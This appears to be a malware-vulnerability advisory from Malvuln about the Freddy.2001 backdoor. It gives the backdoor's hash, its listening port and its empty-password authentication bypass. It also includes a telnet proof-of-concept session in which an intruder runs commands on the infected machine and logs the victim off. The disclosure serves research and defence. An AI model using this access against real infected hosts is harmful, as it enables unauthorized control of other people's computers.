Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/434923afc32a7bc7355ed9a5224b9273.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Freddy.2001
Vulnerability: Authentication Bypass Command Execution
Description: The malware listens on TCP port 19535. Third-party intruders who can reach an infected host can gain access using an empty password and run commands made available by the backdoor using TELNET.
Type: PE32
MD5: 434923afc32a7bc7355ed9a5224b9273
Vuln ID: MVID-2022-0486
Dropped files: sycon2.exe
Disclosure: 02/08/2022

Exploit/PoC:
#Note: use TELNET

telnet.exe x.x.x.x 19535

Enter password:

User:               Victim                                                                                                
Computer net name:  DESKTOP-2C3JQHO
IP address:         192.168.18.129
Local date & time:  2/3/2022 2:45:46 AM
Hackers connected:  2
$y(0n v.2.3.2 by Meerkat Systems | NLG
Sycon>
Sycon> windows                                                                                                                                      
Window 6976: dump                                                                                                                                   
Window 6976: tmp                                                                                                                             
Window 1956: Administrator: Administrator Command Prompt                                                                                            
Window 6976: Program Manager  
Sycon> cd \                                                                                                             
CD: C:\                                                                                                                 
Sycon> dir                                                                                                              
Found: $Recycle.Bin                                                                                                                                                                                      
Found: Boot                                                                                                             
Found: bootmgr                                                                                                          
Found: BOOTNXT                     
etc...
Sycon> exec calc                                                                                                                                    
Executing... 
Sycon> logoff                                                                                                           
Windows is going down...                                                                                                
I'm killed!                                                                                                             
Sycon>


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